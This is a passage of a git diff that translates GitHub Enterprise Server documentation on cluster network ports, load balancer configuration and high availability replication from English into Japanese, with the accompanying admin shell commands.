+管理ポートは、エンドユーザが基本的なアプリケーションを利用するためには必要ありません。
 
-### Cluster communication ports
+| ポート      | 説明                       | 暗号化                                                |
+|:-------- |:------------------------ |:-------------------------------------------------- |
+| ICMP     | ICMP Ping                | なし                                                 |
+| 122/TCP  | 管理SSH                    | あり                                                 |
+| 161/UDP  | SNMP                     | なし                                                 |
+| 8080/TCP | Management Console HTTP  | なし<br>（SSLが有効化されている場合、このポートはHTTPSにリダイレクトされる） |
+| 8443/TCP | Management Console HTTPS | あり                                                 |
 
-If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally.
+### クラスタ通信ポート
 
-| Port     | Description     |
-| :------------- | :------------- |
-| 1336/TCP  | Internal API |
-| 3033/TCP  | Internal SVN access |
-| 3037/TCP  | Internal SVN access |
-| 3306/TCP  | MySQL |
-| 4486/TCP  | Governor access |
-| 5115/TCP  | Storage backend |
-| 5208/TCP  | Internal SVN access |
-| 6379/TCP  | Redis |
-| 8001/TCP  | Grafana |
-| 8090/TCP  | Internal GPG access |
-| 8149/TCP  | GitRPC file server access |
-| 8300/TCP | Consul |
-| 8301/TCP | Consul |
-| 8302/TCP | Consul |
-| 9000/TCP  | Git Daemon |
-| 9102/TCP  | Pages file server |
-| 9105/TCP  | LFS server |
-| 9200/TCP  | Elasticsearch |
-| 9203/TCP | Semantic code service |
-| 9300/TCP  | Elasticsearch |
-| 11211/TCP | Memcache |
-| 161/UDP   | SNMP |
-| 8125/UDP  | Statsd |
-| 8301/UDP | Consul |
-| 8302/UDP | Consul |
-| 25827/UDP | Collectd |
+ネットワークレベルのファイアウォールがノード間にある場合は、これらのポートがアクセス可能である必要があります。 ノード間の通信は暗号化されていません。 これらのポートは外部からアクセスできません。
 
-## Configuring a load balancer
+| ポート       | 説明                  |
+|:--------- |:------------------- |
+| 1336/TCP  | 内部 API              |
+| 3033/TCP  | 内部 SVN アクセス         |
+| 3037/TCP  | 内部 SVN アクセス         |
+| 3306/TCP  | MySQL               |
+| 4486/TCP  | Governor アクセス       |
+| 5115/TCP  | ストレージバックエンド         |
+| 5208/TCP  | 内部 SVN アクセス         |
+| 6379/TCP  | Redis               |
+| 8001/TCP  | Grafana             |
+| 8090/TCP  | 内部 GPG アクセス         |
+| 8149/TCP  | GitRPC ファイルサーバーアクセス |
+| 8300/TCP  | Consul              |
+| 8301/TCP  | Consul              |
+| 8302/TCP  | Consul              |
+| 9000/TCP  | Git デーモン            |
+| 9102/TCP  | Pages ファイルサーバー      |
+| 9105/TCP  | LFS サーバー            |
+| 9200/TCP  | Elasticsearch       |
+| 9203/TCP  | セマンティックコードサービス      |
+| 9300/TCP  | Elasticsearch       |
+| 11211/TCP | Memcache            |
+| 161/UDP   | SNMP                |
+| 8125/UDP  | Statsd              |
+| 8301/UDP  | Consul              |
+| 8302/UDP  | Consul              |
+| 25827/UDP | Collectd            |
 
- We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations:
+## ロードバランサの設定
 
- - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests.
- - Sticky sessions shouldn't be enabled.
+ ノード間のトラフィックの分配には、PROXY プロトコルをサポートする TCP ベースの外部ロードバランサをおすすめします。 以下のロードバランサ設定を検討してください:
+
+ - TCP ポート (下記参照) は `web-server` サービスを実行しているノードに転送される必要があります。 これらは、外部クライアント要求を処理する唯一のノードです。
+ - スティッキーセッションは有効化してはなりません。
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Handling client connection information
+## クライアントの接続情報の処理
 
-Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required.
+クラスタへのクライアント接続はロードバランサから行われるため、クライアントの IP アドレスが失われる可能性があります。 クライアント接続情報を正しく取り込むには、追加の検討が必要です。
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
 {% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
 
-### Enabling PROXY support on {% data variables.product.prodname_ghe_server %}
+### {% data variables.product.prodname_ghe_server %}での PROXY サポートの有効化
 
-We strongly recommend enabling PROXY support for both your instance and the load balancer.
+インスタンスとロードバランサの双方でPROXYサポートを有効化することを強くおすすめします。
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
- - For your instance, use this command:
+ - インスタンスにはこのコマンドを使用してください:
   ```shell
   $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply
   ```
-  - For the load balancer, use the instructions provided by your vendor.
+  - ロードバランサでは、ベンダーから提供された手順書に従ってください。
 
   {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %}
+### {% data variables.product.prodname_ghe_server %}での X-Forwarded-For サポートの有効化
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
@@ -121,12 +122,12 @@ $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-### Configuring Health Checks
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability.
+### ヘルスチェックの設定
+ロードバランサは健全性チェックによって、事前に設定されたチェックが失敗するようになったノードがあれば、反応しなくなったノードへのトラフィックの送信を止めます。 クラスタのノードに障害が起きた場合、冗長なノードと組み合わさったヘルスチェックが高可用性を提供してくれます。
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
 
-## DNS Requirements
+## DNSの要求事項
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md
index d7ffe82391..34bf10f8b3 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring high availability replication for a cluster
-intro: 'You can configure a passive replica of your entire {% data variables.product.prodname_ghe_server %} cluster in a different location, allowing your cluster to fail over to redundant nodes.'
+title: クラスタの High Availability レプリケーションを設定する
+intro: '{% data variables.product.prodname_ghe_server %} クラスタ全体のパッシブレプリカを別の場所に設定することで、クラスタを冗長ノードにフェイルオーバーできるようにします。'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster
@@ -15,49 +15,50 @@ topics:
   - Infrastructure
 shortTitle: Configure HA replication
 ---
-## About high availability replication for clusters
 
-You can configure a cluster deployment of {% data variables.product.prodname_ghe_server %} for high availability, where an identical set of passive nodes sync with the nodes in your active cluster. If hardware or software failures affect the datacenter with your active cluster, you can manually fail over to the replica nodes and continue processing user requests, minimizing the impact of the outage.
+## クラスタの High Availability レプリケーションについて
 
-In high availability mode, each active node syncs regularly with a corresponding passive node. The passive node runs in standby and does not serve applications or process user requests.
+High Availability を実現するために、{% data variables.product.prodname_ghe_server %} のクラスタデプロイメントを設定できます。この場合、パッシブノードの同一のセットがアクティブクラスタ内のノードと同期されます。 ハードウェアまたはソフトウェアの障害がアクティブなクラスタのデータセンターに影響を与える場合は、手動でレプリカノードにフェイルオーバーし、ユーザリクエストの処理を続行して、停止の影響を最小限に抑えることができます。
 
-We recommend configuring high availability as a part of a comprehensive disaster recovery plan for {% data variables.product.prodname_ghe_server %}. We also recommend performing regular backups. For more information, see "[Configuring backups on your appliance](/enterprise/admin/configuration/configuring-backups-on-your-appliance)."
+High Availability モードでは、各アクティブノードは対応するパッシブノードと定期的に同期します。 パッシブノードはスタンバイで実行され、アプリケーションへのサービス提供や、ユーザ要求の処理は行われません。
 
-## Prerequisites
+{% data variables.product.prodname_ghe_server %} の包括的なシステム災害復旧計画の一部として High Availability を設定することをお勧めします。 また、定期的なバックアップを実行することをお勧めします。 詳しくは、"[ アプライアンスでのバックアップの設定](/enterprise/admin/configuration/configuring-backups-on-your-appliance)。"を参照してください。
 
-### Hardware and software
+## 必要な環境
 
-For each existing node in your active cluster, you'll need to provision a second virtual machine with identical hardware resources. For example, if your cluster has 11 nodes and each node has 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage, you must provision 11 new virtual machines that each have 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage.
+### ハードウェアとソフトウェア
 
-On each new virtual machine, install the same version of {% data variables.product.prodname_ghe_server %} that runs on the nodes in your active cluster. You don't need to upload a license or perform any additional configuration. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance)."
+アクティブなクラスタ内の既存のノードごとに、同一のハードウェアリソースを使用して2番目の仮想マシンをプロビジョニングする必要があります。 たとえば、クラスタに 11 個のノードがあり、各ノードに 12 個の vCPU、96GB の RAM、および 750GB の接続ストレージがある場合、それぞれが 12 個の vCPU、96GB の RAM、および 750GB の接続ストレージを備えた 11 個の新しい仮想マシンをプロビジョニングする必要があります。
+
+新しい仮想マシンごとに、アクティブクラスタ内のノードで実行されているものと同じバージョンの {% data variables.product.prodname_ghe_server %} をインストールします。 ライセンスをアップロードしたり、追加の設定を実行したりする必要はありません。 詳細は「[{% data variables.product.prodname_ghe_server %}インスタンスをセットアップする](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance)」を参照してください。
 
 {% note %}
 
-**Note**: The nodes that you intend to use for high availability replication should be standalone {% data variables.product.prodname_ghe_server %} instances. Don't initialize the passive nodes as a second cluster.
+**Note**: High Availability レプリケーションに使用する予定のノードは、スタンドアロンの {% data variables.product.prodname_ghe_server %} インスタンスである必要があります。 パッシブノードを2番目のクラスタとして初期化しないでください。
 
 {% endnote %}
 
-### Network
+### ネットワーク
 
-You must assign a static IP address to each new node that you provision, and you must configure a load balancer to accept connections and direct them to the nodes in your cluster's front-end tier.
+プロビジョニングする新しいノードごとに静的 IP アドレスを割り当てる必要があります。また、接続を受け入れてクラスタのフロントエンド層のノードに転送するようにロードバランサを設定する必要があります。
 
-We don't recommend configuring a firewall between the network with your active cluster and the network with your passive cluster. The latency between the network with the active nodes and the network with the passive nodes must be less than 70 milliseconds. For more information about network connectivity between nodes in the passive cluster, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration)."
+アクティブクラスタを使用するネットワークとパッシブクラスタを使用するネットワークの間にファイアウォールを設定することはお勧めしません。 アクティブノードのあるネットワークとパッシブノードのあるネットワークの間の遅延は、70 ミリ秒未満である必要があります。 パッシブクラスタ内のノード間のネットワーク接続の詳細については、「[クラスタネットワーク設定](/enterprise/admin/enterprise-management/cluster-network-configuration)」を参照してください。
 
-## Creating a high availability replica for a cluster
+## クラスタの High Availability レプリカを作成する
 
-- [Assigning active nodes to the primary datacenter](#assigning-active-nodes-to-the-primary-datacenter)
-- [Adding passive nodes to the cluster configuration file](#adding-passive-nodes-to-the-cluster-configuration-file)
-- [Example configuration](#example-configuration)
+- [アクティブノードをプライマリデータセンターに割り当てる](#assigning-active-nodes-to-the-primary-datacenter)
+- [パッシブノードをクラスタ設定ファイルに追加する](#adding-passive-nodes-to-the-cluster-configuration-file)
+- [設定例](#example-configuration)
 
-### Assigning active nodes to the primary datacenter
+### アクティブノードをプライマリデータセンターに割り当てる
 
-Before you define a secondary datacenter for your passive nodes, ensure that you assign your active nodes to the primary datacenter.
+パッシブノードのセカンダリデータセンターを定義する前に、アクティブノードをプライマリデータセンターに割り当てていることを確認してください。
 
 {% data reusables.enterprise_clustering.ssh-to-a-node %}
 
 {% data reusables.enterprise_clustering.open-configuration-file %}
 
-3. Note the name of your cluster's primary datacenter. The `[cluster]` section at the top of the cluster configuration file defines the primary datacenter's name, using the `primary-datacenter` key-value pair. By default, the primary datacenter for your cluster is named `default`.
+3. クラスタのプライマリデータセンターの名前に注意します。 クラスタ設定ファイルの上部にある `[cluster]` セクションでは、`primary-datacenter`のキー/値ペアを使用して、プライマリデータセンターの名前を定義します。 デフォルトでは、クラスタのプライマリデータセンターの名前は `default` です。
 
     ```shell
     [cluster]
@@ -66,15 +67,15 @@ Before you define a secondary datacenter for your passive nodes, ensure that you
       <strong>primary-datacenter = default</strong>
     ```
 
-    - Optionally, change the name of the primary datacenter to something more descriptive or accurate by editing the value of `primary-datacenter`.
+    - 必要に応じて、`primary-datacenter` の値を編集して、プライマリデータセンター名をよりわかりやすい名前に変更します。
 
-4. {% data reusables.enterprise_clustering.configuration-file-heading %} Under each node's heading, add a new key-value pair to assign the node to a datacenter. Use the same value as `primary-datacenter` from step 3 above. For example, if you want to use the default name (`default`), add the following key-value pair to the section for each node.
+4. {% data reusables.enterprise_clustering.configuration-file-heading %} 各ノードの見出しの下に、新しいキー/値ペアのペアを追加して、ノードをデータセンターに割り当てます。 上記のステップ 3 の `primary-datacenter` と同じ値を使用します。 たとえば、デフォルト名 (`default`) を使用する場合は、次のキー/値ペアを各ノードのセクションに追加します。
 
     ```
     datacenter = default
     ```
 
-    When you're done, the section for each node in the cluster configuration file should look like the following example. {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %}
+    完了すると、クラスタ設定ファイルの各ノードのセクションは次の例のようになります。 {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %}
 
     ```shell
     [cluster "<em>HOSTNAME</em>"]
@@ -87,7 +88,7 @@ Before you define a secondary datacenter for your passive nodes, ensure that you
 
     {% note %}
 
-    **Note**: If you changed the name of the primary datacenter in step 3, find the `consul-datacenter` key-value pair in the section for each node and change the value to the renamed primary datacenter. For example, if you named the primary datacenter `primary`, use the following key-value pair for each node.
+    **注釈**: ステップ 3 でプライマリデータセンター名を変更した場合は、各ノードのセクションで `consul-datacenter` のキー/値ペアを見つけ、値を名前変更したプライマリデータセンターに変更します。 たとえば、プライマリデータセンターに `primary` という名前を付けた場合は、ノードごとに次のキー/値ペアを使用します。
 
     ```
     consul-datacenter = primary
@@ -99,72 +100,72 @@ Before you define a secondary datacenter for your passive nodes, ensure that you
 
 {% data reusables.enterprise_clustering.configuration-finished %}
 
-After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished assigning your nodes to the cluster's primary datacenter.
+{% data variables.product.prodname_ghe_server %} がプロンプトに戻ったら、ノードをクラスタのプライマリデータセンターに割り当てます。
 
-### Adding passive nodes to the cluster configuration file
+### パッシブノードをクラスタ設定ファイルに追加する
 
-To configure high availability, you must define a corresponding passive node for every active node in your cluster. The following instructions create a new cluster configuration that defines both active and passive nodes. You will:
+High Availability を設定するには、クラスタ内のすべてのアクティブノードに対応するパッシブノードを定義する必要があります。 次の手順では、アクティブノードとパッシブノードの両方を定義する新しいクラスタ設定を作成します。 次のことを行います。
 
-- Create a copy of the active cluster configuration file.
-- Edit the copy to define passive nodes that correspond to the active nodes, adding the IP addresses of the new virtual machines that you provisioned.
-- Merge the modified copy of the cluster configuration back into your active configuration.
-- Apply the new configuration to start replication.
+- アクティブなクラスタ設定ファイルのコピーを作成します。
+- コピーを編集して、アクティブノードに対応するパッシブノードを定義し、プロビジョニングした新しい仮想マシンの IP アドレスを追加します。
+- クラスタ設定の変更されたコピーをアクティブな設定にマージします。
+- 新しい設定を適用してレプリケーションを開始します。
 
-For an example configuration, see "[Example configuration](#example-configuration)."
+設定例については、「[設定例](#example-configuration)」を参照してください。
 
-1. For each node in your cluster, provision a matching virtual machine with identical specifications, running the same version of  {% data variables.product.prodname_ghe_server %}. Note the IPv4 address and hostname for each new cluster node. For more information, see "[Prerequisites](#prerequisites)."
+1. クラスタ内のノードごとに、同じバージョンの {% data variables.product.prodname_ghe_server %} を実行して、同じ仕様で一致する仮想マシンをプロビジョニングします。 新しい各クラスターノードの IPv4 アドレスとホスト名に注意してください。 詳しい情報については、「[前提条件](#prerequisites)」を参照してください。
 
     {% note %}
 
-    **Note**: If you're reconfiguring high availability after a failover, you can use the old nodes from the primary datacenter instead.
+    **注釈**: フェイルオーバー後に High Availability を再設定する場合は、代わりにプライマリデータセンターの古いノードを使用できます。
 
     {% endnote %}
 
 {% data reusables.enterprise_clustering.ssh-to-a-node %}
 
-3. Back up your existing cluster configuration.
+3. 既存のクラスタ設定をバックアップします。
 
     ```
     cp /data/user/common/cluster.conf ~/$(date +%Y-%m-%d)-cluster.conf.backup
     ```
 
-4. Create a copy of your existing cluster configuration file in a temporary location, like _/home/admin/cluster-passive.conf_. Delete unique key-value pairs for IP addresses (`ipv*`), UUIDs (`uuid`), and public keys for WireGuard (`wireguard-pubkey`).
+4. _/home/admin/cluster-passive.conf_ などの一時的な場所に、既存のクラスタ設定ファイルのコピーを作成します。 IP アドレス (`ipv*`)、UUID (`uuid`)、および WireGuard の公開鍵 (`wireguard-pubkey`) の一意のキー/値ペアを削除します。
 
     ```
     grep -Ev "(?:|ipv|uuid|vpn|wireguard\-pubkey)" /data/user/common/cluster.conf > ~/cluster-passive.conf
     ```
 
-5. Remove the `[cluster]` section from the temporary cluster configuration file that you copied in the previous step.
+5. 前のステップでコピーした一時クラスタ設定ファイルから `[cluster]` セクションを削除します。
 
     ```
     git config -f ~/cluster-passive.conf --remove-section cluster
     ```
 
-6. Decide on a name for the secondary datacenter where you provisioned your passive nodes, then update the temporary cluster configuration file with the new datacenter name. Replace `SECONDARY` with the name you choose.
+6. パッシブノードをプロビジョニングしたセカンダリデータセンターの名前を決定してから、一時クラスタ設定ファイルを新しいデータセンター名で更新します。 `SECONDARY` を選択した名前に置き換えます。
 
     ```shell
     sed -i 's/datacenter = default/datacenter = <em>SECONDARY</em>/g' ~/cluster-passive.conf
     ```
 
-7. Decide on a pattern for the passive nodes' hostnames.
+7. パッシブノードのホスト名のパターンを決定します。
 
     {% warning %}
 
-    **Warning**: Hostnames for passive nodes must be unique and differ from the hostname for the corresponding active node.
+    **Warning**: パッシブノードのホスト名は一意であり、対応するアクティブノードのホスト名とは違うものにする必要があります。
 
     {% endwarning %}
 
-8. Open the temporary cluster configuration file from step 3 in a text editor. For example, you can use Vim.
+8. ステップ 3 の一時クラスタ設定ファイルをテキストエディタで開きます。 たとえばVimを利用できます。
 
     ```shell
     sudo vim ~/cluster-passive.conf
     ```
 
-9. In each section within the temporary cluster configuration file, update the node's configuration. {% data reusables.enterprise_clustering.configuration-file-heading %}
+9. 一時クラスタ設定ファイル内の各セクションで、ノードの設定を更新します。 {% data reusables.enterprise_clustering.configuration-file-heading %}
 
-    - Change the quoted hostname in the section heading and the value for `hostname` within the section to the passive node's hostname, per the pattern you chose in step 7 above.
-    - Add a new key named `ipv4`, and set the value to the passive node's static IPv4 address.
-    - Add a new key-value pair, `replica = enabled`.
+    - 上記のステップ 7 で選択したパターンに従って、セクション見出しの引用符で囲まれたホスト名とセクション内の `hostname` の値をパッシブノードのホスト名に変更します。
+    - `ipv4` という名前の新しいキーを追加し、その値をパッシブノードの静的 IPv4 アドレスに設定します。
+    - 新しいキー/値ペア、`replica = enabled` を追加します。
 
     ```shell
     [cluster "<em>NEW PASSIVE NODE HOSTNAME</em>"]
@@ -176,13 +177,13 @@ For an example configuration, see "[Example configuration](#example-configuratio
     ...
     ```
 
-10. Append the contents of the temporary cluster configuration file that you created in step 4 to the active configuration file.
+10. ステップ 4 で作成した一時クラスタ設定ファイルの内容をアクティブ設定ファイルに追加します。
 
     ```shell
     cat ~/cluster-passive.conf >> /data/user/common/cluster.conf
     ```
 
-11. Designate the primary MySQL and Redis nodes in the secondary datacenter. Replace `REPLICA MYSQL PRIMARY HOSTNAME` and `REPLICA REDIS PRIMARY HOSTNAME` with the hostnames of the passives node that you provisioned to match your existing MySQL and Redis primaries.
+11. セカンダリデータセンターのプライマリ MySQL ノードと Redis ノードを指定します。 `REPLICA MYSQL PRIMARY HOSTNAME` および `REPLICA REDIS PRIMARY HOSTNAME` を、既存の MySQL と Redis のプライマリと一致するようにプロビジョニングしたパッシブノードのホスト名に置き換えます。
 
     ```shell
     git config -f /data/user/common/cluster.conf cluster.mysql-master-replica <em>REPLICA MYSQL PRIMARY HOSTNAME</em>
@@ -191,31 +192,31 @@ For an example configuration, see "[Example configuration](#example-configuratio
 
     {% warning %}
 
-    **Warning**: Review your cluster configuration file before proceeding.
+    **Warning**: 続行する前に、クラスタ設定ファイルを確認してください。
 
-    - In the top-level `[cluster]` section, ensure that the values for `mysql-master-replica` and `redis-master-replica` are the correct hostnames for the passive nodes in the secondary datacenter that will serve as the MySQL and Redis primaries after a failover.
-    - In each section for an active node named <code>[cluster "<em>ACTIVE NODE HOSTNAME</em>"]</code>, double-check the following key-value pairs.
-      - `datacenter` should match the value of `primary-datacenter` in the top-level `[cluster]` section.
-      - `consul-datacenter` should match the value of `datacenter`, which should be the same as the value for `primary-datacenter` in the top-level `[cluster]` section.
-    - Ensure that for each active node, the configuration has **one** corresponding section for **one** passive node with the same roles. In each section for a passive node, double-check each key-value pair.
-      - `datacenter` should match all other passive nodes.
-      - `consul-datacenter` should match all other passive nodes.
-      - `hostname` should match the hostname in the section heading.
-      - `ipv4` should match the node's unique, static IPv4 address.
-      - `replica` should be configured as `enabled`.
-    - Take the opportunity to remove sections for offline nodes that are no longer in use.
+    - 最上位の `[cluster]` セクションで、`mysql-master-replica` および `redis-master-replica` の値が、フェイルオーバー後に MySQL と Redis のプライマリとして機能するセカンダリデータセンターのパッシブノードの正しいホスト名であることを確認します。
+    - `[cluster "<em>ACTIVE NODE HOSTNAME</em>"]` という名前のアクティブノードの各セクションで、次のキー/値ペアを再確認します。
+      - `datacenter` は、最上位の[ `[cluster]` セクションの `primary-datacenter` の値と一致する必要があります。
+      - `consul-datacenter` は、`datacenter` の値と一致する必要があります。これは、最上位の `[cluster]` セクションの `primary-datacenter` の値と同じである必要があります。
+    - アクティブノードごとに、同じロールを持つ** 1 つ**のパッシブノードに対応するセクションが設定に **1 つ**あることを確認します。 パッシブノードの各セクションで、各キー/値ペアを再確認します。
+      - `datacenter` は、他のすべてのパッシブノードと一致する必要があります。
+      - `consul-datacenter` は、他のすべてのパッシブノードと一致する必要があります。
+      - `hostname` は、セクション見出しのホスト名と一致する必要があります。
+      - `ipv4` は、ノードの一意の静的 IPv4 アドレスと一致する必要があります。
+      - `replica` は `enabled` として設定する必要があります。
+    - 必要に応じて、使用されなくなったオフラインノードのセクションを削除してください。
 
-    To review an example configuration, see "[Example configuration](#example-configuration)."
+    設定例を確認するには、「[設定例](#example-configuration)」を参照してください。
 
     {% endwarning %}
 
-13. Initialize the new cluster configuration. {% data reusables.enterprise.use-a-multiplexer %}
+13. 新しいクラスタ設定を初期化します。 {% data reusables.enterprise.use-a-multiplexer %}
 
     ```shell
     ghe-cluster-config-init
     ```
 
-14. After the initialization finishes, {% data variables.product.prodname_ghe_server %} displays the following message.
+14. 初期化が完了すると、{% data variables.product.prodname_ghe_server %} は次のメッセージを表示します。
 
     ```shell
     Finished cluster initialization
@@ -225,13 +226,13 @@ For an example configuration, see "[Example configuration](#example-configuratio
 
 {% data reusables.enterprise_clustering.configuration-finished %}
 
-17. Configure a load balancer that will accept connections from users if you fail over to the passive nodes. For more information, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer)."
+17. パッシブノードにフェイルオーバーした場合にユーザからの接続を受け入れるロードバランサを設定します。 詳しい情報については、「[クラスタのネットワーク設定](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer)」を参照してください。
 
-You've finished configuring high availability replication for the nodes in your cluster. Each active node begins replicating configuration and data to its corresponding passive node, and you can direct traffic to the load balancer for the secondary datacenter in the event of a failure. For more information about failing over, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)."
+クラスタ内のノードの High Availability レプリケーションの設定が完了しました。 各アクティブノードは、対応するパッシブノードへの設定とデータの複製を開始します。障害が発生した場合は、トラフィックをセカンダリデータセンターのロードバランサに転送できます。 フェイルオーバーに関する詳しい情報については、「[レプリカクラスタへのフェイルオーバーを開始する](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)」を参照してください。
 
-### Example configuration
+### 設定例
 
-The top-level `[cluster]` configuration should look like the following example.
+最上位の `[cluster]` 設定は、次の例のようになります。
 
 ```shell
 [cluster]
@@ -244,7 +245,7 @@ The top-level `[cluster]` configuration should look like the following example.
 ...
 ```
 
-The configuration for an active node in your cluster's storage tier should look like the following example.
+クラスタのストレージ層のアクティブノードの設定は、次の例のようになります。
 
 ```shell
 ...
@@ -268,11 +269,11 @@ The configuration for an active node in your cluster's storage tier should look
 ...
 ```
 
-The configuration for the corresponding passive node in the storage tier should look like the following example.
+ストレージ層内の対応するパッシブノードの設定は、次の例のようになります。
 
-- Important differences from the corresponding active node are **bold**.
-- {% data variables.product.prodname_ghe_server %} assigns values for `vpn`, `uuid`, and `wireguard-pubkey` automatically, so you shouldn't define the values for passive nodes that you will initialize.
-- The server roles, defined by `*-server` keys, match the corresponding active node.
+- 対応するアクティブノードとの大きな違いは**太字**であることです。
+- {% data variables.product.prodname_ghe_server %} は、`vpn`、`uuid`、`wireguard-pubkey` の値を自動的に割り当てるため、初期化するパッシブノードの値を定義しないでください。
+- `*-server` キーで定義されたサーバーの役割は、対応するアクティブノードと一致します。
 
 ```shell
 ...
@@ -297,56 +298,56 @@ The configuration for the corresponding passive node in the storage tier should
 ...
 ```
 
-## Monitoring replication between active and passive cluster nodes
+## アクティブクラスターノードとパッシブクラスターノード間のレプリケーションを監視する
 
-Initial replication between the active and passive nodes in your cluster takes time. The amount of time depends on the amount of data to replicate and the activity levels for {% data variables.product.prodname_ghe_server %}.
+クラスタ内のアクティブノードとパッシブノード間の初期レプリケーションには時間がかかります。 時間は、複製するデータの量と {% data variables.product.prodname_ghe_server %} のアクティビティレベルによって異なります。
 
-You can monitor the progress on any node in the cluster, using command-line tools available via the {% data variables.product.prodname_ghe_server %} administrative shell. For more information about the administrative shell, see "[Accessing the administrative shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)."
+{% data variables.product.prodname_ghe_server %} 管理シェルから利用できるコマンドラインツールを使用して、クラスタ内の任意のノードの進行状況を監視できます。 管理シェルに関する詳しい情報については「[管理シェル（SSH）にアクセスする](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)」を参照してください。
 
-- Monitor replication of databases:
+- データベースのレプリケーションの監視する:
 
   ```
   /usr/local/share/enterprise/ghe-cluster-status-mysql
   ```
 
-- Monitor replication of repository and Gist data:
+- リポジトリと Gist データのレプリケーションを監視する:
 
   ```
   ghe-spokes status
   ```
 
-- Monitor replication of attachment and LFS data:
+- 添付ファイルと LFS データのレプリケーションを監視する:
 
   ```
   ghe-storage replication-status
   ```
 
-- Monitor replication of Pages data:
+- Pages データのレプリケーションを監視する:
 
   ```
   ghe-dpages replication-status
   ```
 
-You can use `ghe-cluster-status` to review the overall health of your cluster. For more information, see  "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status)."
+`ghe-cluster-status` を使用して、クラスタの全体的な健全性を確認できます。 詳しい情報については、「[コマンドラインユーティリティ](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status)」を参照してください。
 
-## Reconfiguring high availability replication after a failover
+## フェイルオーバー後の High Availability レプリケーションを再設定する
 
-After you fail over from the cluster's active nodes to the cluster's passive nodes, you can reconfigure high availability replication in two ways.
+クラスタのアクティブノードからクラスタのパッシブノードにフェイルオーバーした後、2 つの方法で High Availability レプリケーションを再設定できます。
 
-### Provisioning and configuring new passive nodes
+### 新しいパッシブノードのプロビジョニングと設定
 
-After a failover, you can reconfigure high availability in two ways. The method you choose will depend on the reason that you failed over, and the state of the original active nodes.
+フェイルオーバー後、2 つの方法で High Availability を再設定できます。 選択する方法は、フェイルオーバーした理由と元のアクティブノードの状態によって異なります。
 
-1. Provision and configure a new set of passive nodes for each of the new active nodes in your secondary datacenter.
+1. セカンダリデータセンターの新しいアクティブノードごとに、パッシブノードの新しいセットをプロビジョニングして設定します。
 
-2. Use the old active nodes as the new passive nodes.
+2. 古いアクティブノードを新しいパッシブノードとして使用します。
 
-The process for reconfiguring high availability is identical to the initial configuration of high availability. For more information, see "[Creating a high availability replica for a cluster](#creating-a-high-availability-replica-for-a-cluster)."
+High Availability を再設定するプロセスは、High Availability の初期設定と同じです。 詳細については、「[クラスタの High Availability レプリカを作成する](#creating-a-high-availability-replica-for-a-cluster)」を参照してください。
 
 
-## Disabling high availability replication for a cluster
+## クラスタの High Availability レプリケーションを無効化する
 
-You can stop replication to the passive nodes for your cluster deployment of {% data variables.product.prodname_ghe_server %}.
+{% data variables.product.prodname_ghe_server %} のクラスタデプロイメントのパッシブノードへのレプリケーションを停止できます。
 
 {% data reusables.enterprise_clustering.ssh-to-a-node %}
 
@@ -354,10 +355,10 @@ You can stop replication to the passive nodes for your cluster deployment of {%
 
 3. In the top-level `[cluster]` section, delete the `redis-master-replica`, and `mysql-master-replica` key-value pairs.
 
-4. Delete each section for a passive node. For passive nodes, `replica` is configured as `enabled`.
+4. パッシブノードの各セクションを削除します。 パッシブノードの場合、`replica` は `enabled` として設定されます。
 
 {% data reusables.enterprise_clustering.apply-configuration %}
 
 {% data reusables.enterprise_clustering.configuration-finished %}
 
-After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished disabling high availability replication.
+{% data variables.product.prodname_ghe_server %} がプロンプトに戻ったら、High Availability レプリケーションの無効化が完了したことになります。
